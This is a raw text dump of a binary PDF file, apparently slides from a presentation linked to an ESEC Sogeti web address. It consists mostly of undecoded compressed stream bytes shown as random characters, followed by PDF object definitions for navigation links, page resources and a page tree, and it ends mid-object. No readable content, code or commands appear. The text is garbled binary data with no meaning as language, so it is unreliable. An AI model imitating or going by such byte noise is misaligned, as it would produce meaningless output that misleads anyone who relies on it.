*Xkzt8iJZ3(ZVOFƓv+aPJIRuyu-VӯUZGQsUgܞ gʂޏyJyUD$j:)= Lm5_5%__]qg$o\q* ιU{I)zand(~/mt lzqsnڭ<_.QgvQ%9z.Cy,9x׻5wsXt]XឞX`'I1l]TƟyy,ʃ6i@ȿ pRuOWH#(2i`#SIU[${Q}{>D&Q,Srtm)__ PJa/uSn 'J3H)f P F(aq\M}?p(Mӝϑbi|ϖgpz7R7,Nm˞InFrF H p 2mJ0 ˲<^Eu'[7qH482yuT:-/eY;%N>g>χOnWj#R4CJaR֏v5֊2Mf3H?_j&A/:E.:ð뻻,J:붓,OsY*PeYngK59#R)1H )-YKv\1Rvݎ$IUUq8I:6LM8JxOKDkj:0IhRGvzyVI\9Wr3 s҉q\E!R82ju)!zqZ X.ϫj3k,tހEQ Xoeۃ 蜵mEQewwwOL6SVu]WuQ;+*y]*R꺮iǮ]o—4MRY<FXRƧ+.<6Ncι3&?zbh%9w& %yl:skmUUm˾kY4ȧVq;vl9<ϻJUUQx9i4뜓%""cLuq[ksm'8ʲ_B48ZcL۶aJ M۶rY ٙ6M#Qk]EeYfYVu] _e4mVUsZ8iyߝIA$i1Rm$NO;Eܣr9-1C2!'H/~|F%AFa*/'M+_ G69J#</3Ic(03,=Q ?K(wםtf30vHEC*4 YNឌ :S ƀ Xف!'HjR?Bt(Q+FJS[s1-$p뗲,0 S.mTM\]8ô{ cLUU}?D>qm5'5 ?_[V~HsX9(Q0{McyGU @i-O1%^×)ƻ}>>KD**,RR3{Ls]Ȝs;#p? ömύ>K;nO= UugAMU\-wE| o7@?aJéhL- P9b鏇o7ٶZ<X5ӏց]RW+%眵V1F1ҽ} ;\j׽{HW5U>y̅8S0-yJuQxR"% /JoVgAEl˲T?0x 0(7I;893"iТNtj 6wOq4#otFc> C4PYY3`*ڶͲ( +zuzQ 8Ni3mѤ|xk$#ĥP&˲l4MEzPul1ileYu9@gϪl6S<7fiV#>ԡ;#+gbJ\7"%!y+IÔA]Vh2Zp.紖j}\:m7,y fYvpG4Z쿢uJی~n!2͏L+?3Q)_y{{S~18犢P#0 ,GIQi.MUSJU4B(413E^|>zu}4-:>fuEQA繶fb}E-βL_߹ٵ_kz*b>$IOfYʖҝ=( DUi(|?^EQ\JpWeYeyQ|jAжkM,Ka^˲T<\.nږFǔei|6uE-˥,vVO/0zfDZwc}5td*I1,S'Ѭkm3+ tA]שf%m۞ֱv]ɂ{}^}"_,}߯VjzyRI{8oP5'OPrc[-)z"^IujXwT|I `^Bǫժk|>_,M8[{>bιWSODupK}w1u߾4Ͳ,I/~Q:hDJa,Eu.ųmw8]-,T:vimLl1[fK8)=idbepY*;jǽs;Z`=~Ǣ(EEIQu](EQ R|C]ZX, `}ԞNr1pɖ^isN+w$|~ O(Nڧr%eEofCsDQԶfQ {qݖe4l66 n-icgcf4M5v򜔦Xk|K8j.Ml&a꿳69'I6MsrKƝsEQ<+ -lUUeYD;Rw7FJMXk;͓᜗| kzMwP(xSOybwZS4cL$3ݱlj:RID1_se((8 81)S3#}0 ެg5~8ǃyey՞4in;7x{{[VI}i g^N}/zSd|9i6/Xȥk d|O{:uK]A)KY~STF\DKY$׫{aÆas.$IڶYw2%^X*WR-wM$ C5}8B׻ o0 F @!QwS9R_qx'w*'q=/(S(뵿cmۦiu]$;__K\hO'."%-h{*/%,—|Yrs(7R0m;L^~lE@0i_mN|9ȾH~T>|Qȍ^E=pJ-ǟ,zc qYա.MTUyuL5)QUO$Y,eY*1SûL-K!}t>N&)^JeY^hH p߉|-yu*0'h}?`t芶c_-|هGlz؃&nTN?B$U; lj?Ө4QEh?A$:_ H(jL}vJ 9<硊%I(.h׉뺲,OtN*fYlv1IiT}fڡ)^q1FM-u=vڙO;UE]ykkOעdeGE)ŷsi4M1"4Mcv]OKJ$2EEM7?;Iasp^kmQ;}DVqK Y2—y*Yb\.q4 `Zy;H,ހ*0Ŧ81,4MOkb櫈.5mwq_#PGm~N>Pp-uEwϓ>DxJ8v]3{P~$yx 6$9P46M# pr)u]Nڶ pXӢsnXh ÷T|>/`d0hC8O%HxJH;!Jsdi^ðX,]DZb1 zVy)O}H@u]kkO(WRqv^w!,K|>o`K86M3ϝsR^'?h nICQq^8N4Mӗ szuŞ8I(f,˺P_CuYf3kb$I|_ddܒ˶a>I `i((fV8<6ڮTb޶Eyyi1ƘSg眳Zk04Ɯ#R<㨢"!P[aJӏ^ SG<څ":_;ǬRk{!ʚmуW.W=*f?fLW/y3r GR_~Ϟe}u5O9G5ɗv Z-k]V0+hZ+xk( cݷއKp(K5I1M2TsV:vc0):h'bOz`aǮs]$i^$I[u]dKy?ιSi>i;}0*MVQju/Mju Pϊ,˝3 iݬ*aQ<Y꤄GV񬵊e􃋏鼽{ UUFY %I$>S!~Ns#~w,ϯ|i?e^9sN?}/zq4!˲0 Ϗ.{:=+D{9眳=׸6P4^2$IV8=`fauD*%x; J?9?e~uEQ\i Zu͗z@{cIE7PS3:\,qY8\'5cu5Ɣey%&^6Zy_kӊni2/ېI{OZv&"%xz!IqLtns;F5y699Y4zjE;V׶mUUZhm53=em5*mVvGn}۶H%\mۆau56\02?p:u]7H>)5Sct]w~.!kZy4.񹑲%mlrbX.,SkUƴ}Jڣ4/gXgQ,K0 5l/UwM\"7ɓ2zl(*b>Cg**͉YkۨEْ1:1juρv4W׵/cc看뺮ߨkyGn\._ub p{UU-q7M۶'MqܶfqXa/(fY4T?䴫xI$kf6EGwaDJL>}_vS\"v[e<˲oM4ynXu.ѷq>8w7pgH?EQ;xeYNo:I:eEOu/m_4t%\"3yZ\.WՃ_EQZ˥VאzdpJ4eW\zO)cisei4M?7jz~//jl HY߂ ]?eYv]e0 8/m֞293Za $=?4OIA$Q|n]y(RT'6-(:S$JTI5;1teuA]@Ymۮ0 97nـ6nVյvKWt3V+{ 8ŗru}ڲokݪX4/<*%xh<,Kg9w!5$IRu۶u]E# C(fά Imo~3}r7zV~/%=׷vEƘoTQui$aeGZ$}.,}=Pۿb/%'8m ul6js]Ptn㩯ۨ6ǿp%>֖N!:_e/ߣ(-m^hn;qZaT[k}y#}aQu]ۿy> _0߱:;\8^.u]tAsɌY0 Ƙu9bPOÜsv[g EW,/ eU&-KEwW=w$j/Nw c8y?Iڑh_d)˲iJG{,zDJ4ṕJ]yO{LþhN7DQԶmu>ps5`j&c̡̆L_l~b8\P&wZC, ðX,ȖN$?$L}J;g}x{{SdVKTOռWN a8!N Wۺ|[,ӟXZZY0 10,(, .eTQC'?;1|"%x\QM3knwY)cLei(,KǼs.㝩--Br$iFPh CNk$I>RxG֟>Yk8VaA49Kk&s&Izɖ$r$LLOfU֬<;78uɤk~UUYkaeZork1"%J/\U:;/J᧟b~:yW=>"%xhyw]wTI4oV\-D)ׂMFU׵eE<2uZkg϶}ieooooooLKh|=kn(,n~] H9n~Q%Iqj%-5ދxdUْvaozq5Me|>>Iz?ggUSp\k]k}xʖ_MewUz;+iz8| _h_?4($Iph72 0 7+њ98mK5gU&+_IQo<͗rPz}Yk-KwsiO[kgQwwN"}X,Hʲe㿒e8X+a}qgz> JPlqH* otG|>fjij^$QTTU2TvVUJp$IjR!ݽG x\w:l'iMg}}^-iVgAKa^IF:z-)]uǮ늢FQleQ\g(c(DYicLUUg;:oQ۶jlHyշFhչm1]ם ]x<~>7UV3@vJ5լ) C=lw9;Ҟn] ξ}iIc:X1q}钏d_^Z!M?~5O ~(KS[|wS8b>ijىuǫ>S`?  0(Q)Zz|z״lVqk>QΤO·39~=ê|j#H iE$C=,dzxw|kk6F0 z7ƴmtN 8~$gq)TL۶yӨ<)Ձ9M4M%s ÐeY y҇)FEUUQ%Iq$/08E ^~ aKqu铮EQR󹶁|8qli<ϵԽGt{sEQTzn|X,bq-|wu]oz]kI,β{t]eYVuYߺcmۮVZHJ_Vm>iPDh﫪RQ 8sN}<ύ1a^OAUryrU$Ih,K.{y4A@}[@* Cz }u8aIhMv Cƾ劉1s: yqeڶm"9WEImܪ2$IyYksZ]&a)닢K s./)& ~8:&ʍ|r$Iʲ )fSUUeqmJa({msG֦JZT<h\0 ]ש1"C!RG黎%%(}߫ca(J2RVU5DQb3u]y=rt043/BZstg9~juxc;ϝxoE\ыo$# 56 c\:͜v|<xʧ0 s94MQ׮ٯ1,"nxI6M34[zi 8Z4E__Le'пR+3L2%=NbwHoiⳓ  N'^(_m~}1m"wu)j< |_2sN8h&҇=eoG`z׮>oS}xie]ć!1#~w) 4ݛ7sV~cg ώ<;< "%V̊.q~wS('ny>nshzp<<*_[a!F'Jϖwt90]mO_WDJ'snye?IsfF4)a^\ݝUOKv85cR&> 4íi^{6J|z1/ z.Zv?YO~?F5ρJ7kzi7)TZIA(ԩ:IOpLqtiUU1c.^RKt1Yh4=[xI:g9K9NDZ,^OC+SQ OlsNF ~]F)7{{GSVQ($Ykq4 c_Ohwj?)uGPiۗ6QՔs9tȐ&%IXjs+5~x@Yk8;N9%g>pχ|MR4Ll68I,IfhJqH۶xEMX*? P:4,6Tk\aH^Ys(q<_V$yRQUUm?E?4h<{EQ۶J9,f+)rݮV,WEeYVv[8EQf,vx}WU50 u]orY&$I]ru= bUUirΥie1fuyҔfcɲ,MǼ!RܚvXaaҔ0\, >xu"˲0 5SӶmN0m[ aebC8$I ;%2芥,i4ş{Iq+Lz 0 ,q`Qܷ)n(e¤)5ZK|qL$ ~ P/f$&,)t]7ϭ>Iba1\gK|~ٵ]ץia4XJ)ndGV<=R~cC(NW1K\4Y0M&~7MY~([R2IJ׻LEH]Zu3"%zD}z~o1MSk e^>{|kZ)J8&eRtJ-R;iRVI?g)n*jҾS/ j֐4kz~NDZa.>k3(&ֽ"S3&]%cɍ݊Ѕ˯UXЏPD:e*r_Su۶EQ|4sk˻~'Aד]t ~uIeYUU~NgGk7(I#Iuw à +v}q$I~]pin6cWǨ:($\RUU]׭V.]>ȳF p$I`Z=0 X*Iٹ,4MSι, n~9|$tMxt#+(,ODZiw^TY)UJtsZRvƘc1˓19ȼ[y<ϝs]]gpwZIr,YQ:wا)|qSZ$H4W- Rtd`G̙آ( t%DJHM:TU4&Ms==0 eYΟߊ1qikmmu]$v0 IS0 vhf:5ɩZSNZt< C:,˴YMVoir[wW8?IO۶rzG @[UhZxڶa/{T5v܋z./gι7{PɑeYj{EtgRAq~2CRW8(sk 5 /|jXW쬶lܽu]goDuN۠ L6s\NN9ڶ՟8֦G~wayfMӄa% -ڶ :al1(iFcRuE1]١V68}|QZ61e>,QҺ$IqfA$I1,KJr=Βps)|<}U8A11Q N麮Th,ˊXVhDcT[M%bSJFԾAn? '*{Q/sNx#J;ZKtqU8NuvA_΀h6Lq ð@߾ϖ7*3l]EE~UznEѴ|Jgs *HR21T|h_읬wr&©)s;YEkAW|ND#~ӻ9u]8{z46km}t')Kmi 94MEjFͮ oAqf&z5Q9)i邚yk>5({S&I&(pU6k=oQ͗Zp( 1km,ӛ|Aw\UTEd% j\t|O?\~;+3ʲ/Jb˅]I6c:nG$"=OF:ms}5}{G> $|;XMUxI~2j-%2\eYfY6ibggeSE#)u]Zc߲riZ=6bP>L?pwP=?q^Q:8ji84UjmF3/x`u/0TsGSp5%Ӣmt BK+ڶVA̘A<-׸lF"]c\q̈́>;&EO[Rm'CwVR,˲(KެV{}n?^~۶jrQ=fs!,0l_;{@;<ϩ]Eu]@䦷L_l[\+2sce\j_}w\~ZCLO^c繞ZV=X岮ka*1hl9VZS6_<nzAgl6e'n<\׺޻$It{? ߥ N{=Ρ~{W` Syfi]qښ8FYEQ4b,ˆaX.\#S_@UU]-[S͞?ippwc:9eYGr~XVKXdeaι0 /~]g2M+L83yRk}q䆁kb9뺮keٓeIW7WCuiy|ؠ6l3$ů^)nm ťv~pZBzj2E1o9u]7ϋ0ƬV+൩YQTUUE۶ݛPk*,'}w5)nD;cn.[,`fy4L;E_v8lǪfY4yo6jֲVZZ'I۶*?~z7Ɯ OXtqDJm۪!ͽsy0dYVU>0,RIsN2Z`rΩD{e{eYR?J$4 ҥ(LjFW8'7Z8_{+#\)nM;8* y`i8z^.|2͊躎 DZ뺢(fz,˓WO^T˲J'$;ϫRtk۶u]WUz*J=F(Vj%& àͧId\n۶m0TC4Myx_04M܅aضv].ޓ,,ctͲlJic̥$O- W^o$J?"%$I,=nڝ06!1F1F=t 3ޗsM轛9u7Rbpa^(]܆'IQkdѽ-j\.=XI*ރohUUAp;Ϯ{kvGcL$;Ѱ P|(% 8t O=Fr\^(^!+Z#)Z5Ѓ"Rg7ODn?;3KU 0 ^E(+k+RtKSӽe~E%:1=H\t{y5@;S䃮| S10#R1vfg|BΜ,>>Kri^軾ɿj6l:L ~FGG/ӟ^s+-Lu [h')r?هJyDJ<㟗)|y@w@/q~eǾcaNKڈY|>#}: 0 fҠקQ\*(}P"%﫪(}v8$H `>1u08aj$)́Ӡ94tQ%I ~1p * yWI~vB,E/}h? UJ Hu]+LNa$K]E%cSk#R9g}0 1Ƙ`/^2$IXkl6n/ u]4UUc<| UU54 mfSO˓vDQTfi64My4ף RskmYOT,ˮt=#RGpΥi6M篺[Eaf1Esރ'"%^8 E8V{虨^ qH W6c}+L2a*X>Mӟ*)'AZ(:oǹqᴻGQZ i']8ikmUUG>{4oooŢ(,qҝl(Wqj}_Ub|9WɑRaTH פRyRQ%Ir0,2$In۶ma8ay޶m}.0V<0JV:u̓Pz.r?2R.J[u"%^V̽ cLYMӨ(8I}ȇFQ]߇YkH 0  7+"նn>;ş,fzYk,/\ƘiSeEYACc(7TUUMnGkjieUU EcaU?=pyZcEJTTTuqgYaE0q\.0q>8uSO#"%^jh>>]88^9w8OR( G>1kHa4Ujޥ >"%^PQMw-:Y$M|qqUU?REeYOgI// ömWU =;:n{8P T*JD S6`J%x' c{Mr(89N"&p^?gOJ$%$(~ΊWu~>\Q-IJeXUU۶|>}I},}ߟ~߶mUUeYzR')SC$Oib$c]׷G!)'zk]44MdOyop8izֳX+8Ɗ<ϋizfaqYEQUUYm;I H$IӴ")YEq)!'_}v[.%6HJl )AR`4MmzyI$4i>=KR|ِu]4ONӴq|뺮qaxSZOp84Ms>g5tٙܬxBu^R?ya%GEQZQ1Nu?rq|a(2yNdr9WuK*]VnI UѶmL*MӾR\=baiS|^ZQ|\DZ(i~pyWU{ .o-6]O)7~#ɿ<ކ]׭yHJ PUҐyn5u笿g>Diʲ\bզ,ˮt˓>6Nx2+.2,4zxi^| PYZJeQt"nˀImb yZ6\kvˢ;=nQY q,[dEQy> C۶_y eYu$X(6|d<4]^?7s<ǪX;?Q۶8mQ;+]4Mx,2vKeq.2sTFn;l}4<ϳ,;l8hɔD[[ry;[oeAO]]׭ƴcl(^$E!foi:NQ>N.֍iqku!5> >> endobj 681 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 232.399 5.96 240.369 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation12) >> >> endobj 682 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 238.376 5.96 248.339 15.425 ] /Subtype /Link /A << /S /Named /N /GoToPage >> >> endobj 683 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 246.346 5.96 254.316 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation14) >> >> endobj 684 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 253.735 5.96 260.708 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation12) >> >> endobj 685 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 258.716 5.96 265.69 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation13) >> >> endobj 686 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 263.697 5.96 270.671 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation13) >> >> endobj 687 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 268.679 5.96 275.652 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation14) >> >> endobj 688 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 275.071 5.96 282.044 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 689 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 280.052 5.96 287.026 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation12) >> >> endobj 690 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 285.033 5.96 292.007 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation16) >> >> endobj 691 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 290.014 5.96 296.988 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation17) >> >> endobj 692 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 296.406 5.96 303.38 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation10) >> >> endobj 693 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 301.388 5.96 308.362 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 694 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 306.369 5.96 313.343 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 695 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 311.35 5.96 318.324 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 696 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 317.742 5.96 328.701 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 697 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 326.709 5.96 339.66 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 698 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 339.078 5.96 348.045 15.425 ] /Subtype /Link /A << /S /Named /N /GoBack >> >> endobj 699 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 346.052 5.96 354.022 15.425 ] /Subtype /Link /A << /S /Named /N /Find >> >> endobj 700 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 352.03 5.96 360.996 15.425 ] /Subtype /Link /A << /S /Named /N /GoForward >> >> endobj 701 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 264.495 182.414 271.878 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 702 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 259.104 182.414 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 703 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 253.713 182.414 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 704 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 248.323 182.414 255.706 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 705 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 180.421 259.104 363.831 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation12) >> >> endobj 706 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 180.421 253.713 363.831 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation17) >> >> endobj 707 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 181.43 -0.996 290.32 5.96 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 708 0 obj << /ColorSpace 3 0 R /Pattern 2 0 R /ExtGState 1 0 R /Font << /F26 84 0 R /F38 85 0 R /F39 87 0 R /F15 155 0 R >> /XObject << /Fm1 46 0 R /Fm7 124 0 R /Fm5 119 0 R /Fm3 53 0 R /Fm4 54 0 R /Fm2 52 0 R /Fm6 120 0 R /Im7 118 0 R /Im9 679 0 R >> /ProcSet [ /PDF /Text /ImageC ] >> endobj 709 0 obj << /Type /Page /Contents 710 0 R /Resources 708 0 R /MediaBox [ 0 0 362.835 272.126 ] /Trans << /S /R >> /Parent 712 0 R /Annots [ 680 0 R 681 0 R 682 0 R 683 0 R 684 0 R 685 0 R 686 0 R 687 0 R 688 0 R 689 0 R 690 0 R 691 0 R 692 0 R 693 0 R 694 0 R 695 0 R 696 0 R 697 0 R 698 0 R 699 0 R 700 0 R 701 0 R 702 0 R 703 0 R 704 0 R 705 0 R 706 0 R 707 0 R ] /AA << /O << /S /GoTo /D [ 743 0 R /Fit ] >> >> >> endobj 710 0 obj << /Length 2286 /Filter /FlateDecode >>stream xkoGܗVn~K^p~лv XVBGr+Xr$hp\ v{s VZ  ixЖ)Tݵx -QRkxvN>ոPjhU &#'TtȤFI6_rL e'"reT*;:rI:Z-;؈Ŷ,C:>0$rQD  ^k`D#VZZT0`K ؁ᘉ1QfeZ T&vx2Dˤ>bZ!̪kɵvljvl&1{Н@Z * '%J5cW ̽,цً(KغIeك<^$#p->=(/I`! V/ВYRgoEB'}N}*(4X ~$=mORlJ3|9Ŕ\<# UL뜐(\FFH"\pv砜 $ݱ R£B* <(/CfiYT-4ք_+NS[֝J2EFgJ8{yhvj;(DU(zy >T2.ڨނ QWҺғ<-VA].;ǹJcWNDT_:K Iè)n2D%AC'bhp;#w! A݃ )n<c8}08$ل3:>xvpx"3]9-/OѴ^&留%@{|7:#ԕ Qq&޾2IYc1}IMܑ;{Ͽ%mp,hYUIflH ~/ͪŻe] f3n2MWyVEt\yMq< "f~kNXzsqNy}T/## 6'q9A㜑IՃ=Jcd:Zx£#Vƺ);З)!|lTI.@xHr y# T%BBn(<>C܃-! e^ȏŨ^ TH냟)bedF`}JDVF-`=)dh *q XX9i+ COM1^&jJ Ѥĺ@P&$k }I h !$+v4-IT*D,Hx 9#%4y#3Eotx.J+H-PIq 2k|5fa/qX'E$F94y3+\ϴu n\g-g=~6n>ȡ!%"Rj=]u:h/s\f>09硳n޺f_7cYeyl6z>J"-{6S*F"͛iCd$!9DaB;A9"rˆ 4 >$֌.:jA+˹RHwcz%9%k$w\vt%j!ҵej9Fk.b V-1H lm3 j9kM?.0dˆSHn&Zؐ+thOxSS* U,FvFB精eO9q.QNj{\+zh3osX0+Vۑ^_fnR83wwR{Ҿ۰ #;gIy,3R.m_;-~T6&pA߀3i<^; *e\uZt{#wƲ׻7 Ý|~f> T˟~Gp> endobj 712 0 obj << /Count 6 /Kids [ 709 0 R 743 0 R 776 0 R 811 0 R 850 0 R 884 0 R ] /Type /Pages /Parent 1288 0 R >> endobj 713 0 obj << /D [ 743 0 R /XYZ 334.488 1.245 null ] >> endobj 714 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0 1 1 ] /Rect [ 336.542 15.425 360.996 40.094 ] /Subtype /Link /A << /Type /Action /S /URI /URI (http://www.esec.fr.sogeti.com) >> >> endobj 715 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 232.399 5.96 240.369 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation13) >> >> endobj 716 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 238.376 5.96 248.339 15.425 ] /Subtype /Link /A << /S /Named /N /GoToPage >> >> endobj 717 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 246.346 5.96 254.316 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation15) >> >> endobj 718 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 253.735 5.96 260.708 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation13) >> >> endobj 719 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 258.716 5.96 265.69 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation14) >> >> endobj 720 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 263.697 5.96 270.671 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation14) >> >> endobj 721 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 268.679 5.96 275.652 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation15) >> >> endobj 722 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 275.071 5.96 282.044 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 723 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 280.052 5.96 287.026 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation12) >> >> endobj 724 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 285.033 5.96 292.007 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation16) >> >> endobj 725 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 290.014 5.96 296.988 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation17) >> >> endobj 726 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 296.406 5.96 303.38 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation10) >> >> endobj 727 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 301.388 5.96 308.362 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 728 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 306.369 5.96 313.343 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 729 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 311.35 5.96 318.324 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 730 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 317.742 5.96 328.701 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 731 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 326.709 5.96 339.66 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 732 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 339.078 5.96 348.045 15.425 ] /Subtype /Link /A << /S /Named /N /GoBack >> >> endobj 733 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 346.052 5.96 354.022 15.425 ] /Subtype /Link /A << /S /Named /N /Find >> >> endobj 734 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 352.03 5.96 360.996 15.425 ] /Subtype /Link /A << /S /Named /N /GoForward >> >> endobj 735 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 264.495 182.414 271.878 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 736 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 259.104 182.414 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 737 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 253.713 182.414 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 738 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ -0.996 248.323 182.414 255.706 ] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 739 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 180.421 259.104 363.831 266.488 ] /Subtype /Link /A << /S /GoTo /D (Navigation12) >> >> endobj 740 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 180.421 253.713 363.831 261.097 ] /Subtype /Link /A << /S /GoTo /D (Navigation17) >> >> endobj 741 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 181.43 -0.996 290.32 5.96 ] /Subtype /Link /A << /S /GoTo /D 